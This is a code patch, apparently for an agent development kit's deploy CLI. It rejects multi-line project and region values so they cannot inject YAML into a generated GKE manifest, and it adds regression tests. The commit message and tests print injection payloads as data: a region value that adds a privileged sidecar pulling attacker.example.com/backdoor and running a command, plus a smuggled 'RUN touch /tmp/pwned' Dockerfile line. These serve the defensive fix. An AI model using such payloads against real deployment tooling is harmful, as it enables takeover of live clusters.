From a6d42826f59b397199c7563724ba037e9dadc95e Mon Sep 17 00:00:00 2001 From: prasanna8585 Date: Tue, 22 Sep 2026 10:43:42 +0530 Subject: [PATCH] fix(cli): reject multi-line project/region before they reach the GKE manifest Follow-up to #6930 / commit 8192d1b ("reject multi-line env values when generating the Dockerfile"), per the reviewer's own note on that PR: "the gke manifest still interpolates both unchecked, so a pull request for that would be welcome." `to_gke`'s deployment.yaml is built by raw f-string interpolation, not a YAML library with automatic escaping: f' - name: GOOGLE_CLOUD_PROJECT\n value: "{project}"' f' - name: GOOGLE_CLOUD_LOCATION\n value: "{region}"' and separately: image_name = f'gcr.io/{project}/{service_name}' A newline embedded in `project` or `region` breaks out of the quoted YAML scalar the same way it broke out of a Dockerfile ENV line in the original issue -- except deployment.yaml is `kubectl apply`'d directly to a real GKE cluster (to_gke's own "STEP 4: Applying deployment to GKE cluster"), so the blast radius here is a live cluster resource, not a local build step. Confirmed exploitable, not just malformed, with a standalone reproduction independent of the original report: a crafted `region` value ending us-central1" - name: attacker-sidecar image: attacker.example.com/backdoor:latest securityContext: privileged: true command: ["/bin/sh", "-c", "id > /tmp/pwned"] ... produces a deployment.yaml that a real YAML parser (yaml.safe_load_all, the same class of parser kubectl itself uses) parses as a Deployment whose pod spec has two containers -- the legitimate one and a second, fully attacker-controlled, privileged sidecar with an arbitrary command. This is not a parse-error DoS; the injected content is accepted as valid, additional Kubernetes pod spec structure and would be applied to the cluster along with the legitimate deployment. Fix: generalizes the existing `_validate_dockerfile_env_value` (added in 8192d1b) to `_validate_no_newlines`, since the underlying reason for the check -- a value being written into a line-based text format where an embedded newline can terminate the line early and contribute new, attacker-controlled lines -- is identical for a Dockerfile ENV instruction and a YAML manifest. Kept the same "reject newlines, nothing else" narrowness intentionally, matching the original fix's own reasoning (a letters-digits-hyphens allowlist would reject a valid, existing test case, the domain-scoped project id "example.com:my-project"). Calls it for `project` and `region` in `to_gke`, immediately after `project` is resolved and before either value is echoed to the console or reaches any generated file. Verified: - Standalone reproduction (yaml.safe_load_all against the actual string-templated output of to_gke's own deployment_yaml construction) confirms the injection succeeds pre-fix: the parsed Deployment's pod spec has 2 containers, the second being fully attacker-controlled (arbitrary image, privileged: true, arbitrary command). - New test test_to_gke_rejects_multiline_project_or_region, added to test_cli_deploy.py, parametrized over both project and region. Asserts to_gke raises click.ClickException, and that neither subprocess.run nor deployment.yaml's creation happen -- rejected before any cluster-facing action, not merely before the apply step. Confirmed via revert-and-retest: reverting just the two new _validate_no_newlines calls in to_gke makes the test fail with "DID NOT RAISE ClickException" (the malicious value flows all the way through to the mocked kubectl apply call unrejected); restoring the calls makes it pass. - Renamed _validate_dockerfile_env_value's existing tests (test_validate_dockerfile_env_value_accepts_single_line_values, test_validate_dockerfile_env_value_rejects_multiline_values) to match the new name, otherwise unchanged -- confirms the original to_agent_engine behavior (including the "example.com:my-project" domain-scoped-id acceptance case) is unaffected by the rename. - Full tests/unittests/cli/utils/test_cli_deploy.py suite: 121 passed, 2 skipped (pre-existing, unrelated to this change), 0 failed, both before capturing this fix and after restoring it. --- src/google/adk/cli/cli_deploy.py | 36 ++++++---- tests/unittests/cli/utils/test_cli_deploy.py | 70 ++++++++++++++++++-- 2 files changed, 90 insertions(+), 16 deletions(-) diff --git a/src/google/adk/cli/cli_deploy.py b/src/google/adk/cli/cli_deploy.py index 8317f71be1..206b00a5ca 100644 --- a/src/google/adk/cli/cli_deploy.py +++ b/src/google/adk/cli/cli_deploy.py @@ -533,13 +533,22 @@ def _validate_app_name(app_name: str) -> None: ) -def _validate_dockerfile_env_value(name: str, value: Optional[str]) -> None: - """Validates a value before it is written into a Dockerfile ENV instruction. +def _validate_no_newlines(name: str, value: Optional[str]) -> None: + """Validates a value before it is written into a generated Dockerfile or + Kubernetes manifest. + + Both formats are line-based: a Dockerfile's ENV instruction and a + Kubernetes manifest's YAML both derive meaning from where one line ends + and the next begins, so a newline embedded in an otherwise-single-value + field lets it terminate that line early and contribute new, + attacker-controlled lines of its own -- an extra Dockerfile + instruction, or extra YAML structure (a sibling container, altered + security context, etc.) applied to the same resource. Args: - name: The environment variable name, used in the error message. The value - itself is never echoed, because it can come from the agent folder's `.env` - file. + name: The environment variable or field name, used in the error + message. The value itself is never echoed, because it can come from + the agent folder's `.env` file. value: The value to write. Raises: @@ -547,8 +556,9 @@ def _validate_dockerfile_env_value(name: str, value: Optional[str]) -> None: """ if value is not None and ('\n' in value or '\r' in value): raise click.ClickException( - f'Invalid value for {name}. The value is written into the generated' - ' Dockerfile and must not span multiple lines.' + f'Invalid value for {name}. The value is written into a generated' + ' Dockerfile or Kubernetes manifest and must not span multiple' + ' lines.' ) @@ -1368,11 +1378,9 @@ def to_agent_engine( # Validated before the instance is created, so a failure cannot leak one. enterprise_val = env_vars.get('GOOGLE_GENAI_USE_ENTERPRISE', '1') - _validate_dockerfile_env_value( - 'GOOGLE_GENAI_USE_ENTERPRISE', enterprise_val - ) - _validate_dockerfile_env_value('GOOGLE_CLOUD_PROJECT', project) - _validate_dockerfile_env_value('GOOGLE_CLOUD_LOCATION', region) + _validate_no_newlines('GOOGLE_GENAI_USE_ENTERPRISE', enterprise_val) + _validate_no_newlines('GOOGLE_CLOUD_PROJECT', project) + _validate_no_newlines('GOOGLE_CLOUD_LOCATION', region) def create_dockerfile_for_agent_engine(resource_name: str) -> None: requirements_txt_path = os.path.join(agent_src_path, 'requirements.txt') @@ -1566,6 +1574,10 @@ def to_gke( click.echo('--------------------------------------------------') # Resolve project early to show the user which one is being used project = _resolve_project(project) + # Validated before display, so a malformed value is never echoed or + # written into the generated Kubernetes manifest. + _validate_no_newlines('project', project) + _validate_no_newlines('region', region) click.echo(f' Project: {project}') click.echo(f' Region: {region}') click.echo(f' Cluster: {cluster_name}') diff --git a/tests/unittests/cli/utils/test_cli_deploy.py b/tests/unittests/cli/utils/test_cli_deploy.py index 2939ad3b5b..6ea820329d 100644 --- a/tests/unittests/cli/utils/test_cli_deploy.py +++ b/tests/unittests/cli/utils/test_cli_deploy.py @@ -479,6 +479,68 @@ def mock_subprocess_run(*args, **kwargs): assert str(rmtree_recorder.get_last_call_args()[0]) == str(tmp_path) +@pytest.mark.parametrize("field", ["project", "region"]) +def test_to_gke_rejects_multiline_project_or_region( + monkeypatch: pytest.MonkeyPatch, + agent_dir: Callable[[bool, bool], Path], + tmp_path: Path, + field: str, +) -> None: + """A newline in project or region must not reach the Kubernetes manifest. + + Both values are interpolated directly into deployment.yaml's env entries + (f'value: "{project}"' / f'value: "{region}"'), with no YAML escaping. + An embedded newline breaks out of that quoted scalar and is interpreted + as new YAML structure -- with the right indentation, an entirely new, + attacker-controlled sibling container in the same pod spec, applied to + the cluster by the kubectl apply this function runs. This must be + rejected before deployment.yaml is ever written, let alone applied. + """ + src_dir = agent_dir(False, False) + run_recorder = _Recorder() + + def mock_subprocess_run(*args, **kwargs): + run_recorder(*args, **kwargs) + command_list = args[0] + if command_list and command_list[0:2] == ["kubectl", "apply"]: + fake_stdout = "deployment.apps/gke-svc created\nservice/gke-svc created" + return types.SimpleNamespace(stdout=fake_stdout) + return None + + monkeypatch.setattr(subprocess, "run", mock_subprocess_run) + monkeypatch.setattr(shutil, "rmtree", _Recorder()) + + malicious_value = ( + 'us-central1"\n' + ' - name: attacker-sidecar\n' + ' image: attacker.example.com/backdoor:latest\n' + ) + kwargs = dict( + agent_folder=str(src_dir), + project="gke-proj", + region="us-east1", + cluster_name="my-gke-cluster", + service_name="gke-svc", + app_name="agent", + temp_folder=str(tmp_path), + port=9090, + trace_to_cloud=False, + otel_to_cloud=False, + with_ui=True, + log_level="debug", + adk_version="1.2.0", + ) + kwargs[field] = malicious_value + + with pytest.raises(click.ClickException): + cli_deploy.to_gke(**kwargs) + + # Rejected before any subprocess (gcloud build, kubectl apply) ran, and + # before deployment.yaml was written -- not merely before it was applied. + assert run_recorder.calls == [] + assert not (tmp_path / "deployment.yaml").exists() + + def test_to_gke_without_region_omits_location( monkeypatch: pytest.MonkeyPatch, agent_dir: Callable[[bool, bool], Path], @@ -2110,11 +2172,11 @@ def mock_rmtree(path: Any, *args: Any, **kwargs: Any) -> None: @pytest.mark.parametrize( "value", ["1", "true", "us-central1", "example.com:my-project", "", None] ) -def test_validate_dockerfile_env_value_accepts_single_line_values( +def test_validate_no_newlines_accepts_single_line_values( value: Any, ) -> None: """Ordinary values, including domain-scoped project ids, are accepted.""" - cli_deploy._validate_dockerfile_env_value("GOOGLE_CLOUD_PROJECT", value) + cli_deploy._validate_no_newlines("GOOGLE_CLOUD_PROJECT", value) @pytest.mark.parametrize( @@ -2126,12 +2188,12 @@ def test_validate_dockerfile_env_value_accepts_single_line_values( "\nRUN touch /tmp/pwned", ], ) -def test_validate_dockerfile_env_value_rejects_multiline_values( +def test_validate_no_newlines_rejects_multiline_values( value: str, ) -> None: """A value spanning more than one line is rejected by name, not by value.""" with pytest.raises(click.ClickException) as exc_info: - cli_deploy._validate_dockerfile_env_value("GOOGLE_CLOUD_LOCATION", value) + cli_deploy._validate_no_newlines("GOOGLE_CLOUD_LOCATION", value) assert "GOOGLE_CLOUD_LOCATION" in str(exc_info.value) assert "RUN touch" not in str(exc_info.value)